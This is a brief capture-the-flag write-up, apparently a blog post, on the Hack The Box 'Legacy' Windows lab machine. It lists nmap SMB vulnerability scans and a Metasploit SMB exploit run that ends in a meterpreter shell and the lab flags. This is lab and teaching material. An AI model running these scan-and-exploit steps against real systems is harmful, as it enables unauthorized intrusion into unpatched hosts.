HTB Legacy

04/04/2020 One-minute read

0x01 Introduction Link to heading

The box that seems like it was one of the first released on HTB. It’s a very easy Windows box, vulnerable to SMB bugs that are easily exploited with Metasploit.

0x02 Tools Link to heading

nmap
smbclient
metasploit

0x03 Recon and Enum Link to heading

Nmap Link to heading

1nmap -T4 -Pn -p- -A 10.10.10.4

Let’s see if there are any scripts that can scan for smb vulnarabilities.

1ls /usr/share/nmap/scripts | grep smb

Now, we’ll try to scan port 445 again using this scripts:

1nmap --script smb-vuln* -p 445 -A 10.10.10.4

SMBclient Link to heading

1smbclient -L \\\\10.10.10.4\\

Not allowed.

0x04 Exploitation Link to heading

Metasploit Link to heading

Great! We found some vulnerabilities. Let’s search for exploits now in metasploit:

1search windows/smb

We can either try #26 or #31. Let’s try with #26:

1use 26
2options

Now we have to specify the host, which is 10.10.10.4 in our case.

1set rhosts 10.10.10.4
2exploit

Now we got meterpreter shell:

from here let’s read try to find the root.txt and user.txt files:

here we go, now we can read it: cat root.txt and cat user.txt:

We owned the root and the user.